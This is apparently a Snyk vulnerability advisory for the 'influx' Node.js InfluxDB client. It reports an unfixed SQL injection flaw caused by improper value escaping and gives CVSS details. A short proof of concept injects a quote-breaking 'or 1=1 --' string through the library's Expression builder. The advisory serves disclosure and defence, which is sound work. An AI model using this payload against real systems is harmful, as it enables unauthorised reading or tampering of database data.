SQL Injection

Affecting influx package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

influx is an InfluxDB Client for Node.js and Browsers.

Affected versions of this package are vulnerable to SQL Injection due to improperly escaping value input.

###PoC

const influx = require('influx')
const exp = new influx.Expression();
exp.tag('symbol').equals.value("GAZP()\\' or 1=1 --").toString()

Remediation

There is no fixed version for influx.

References

CVSS Score

7.3
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    Low
  • Integrity
    Low
  • Availability
    Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C
Credit
Zeruk
CWE
CWE-89
Snyk ID
SNYK-JS-INFLUX-559587
Disclosed
23 Jun, 2020
Published
23 Jun, 2020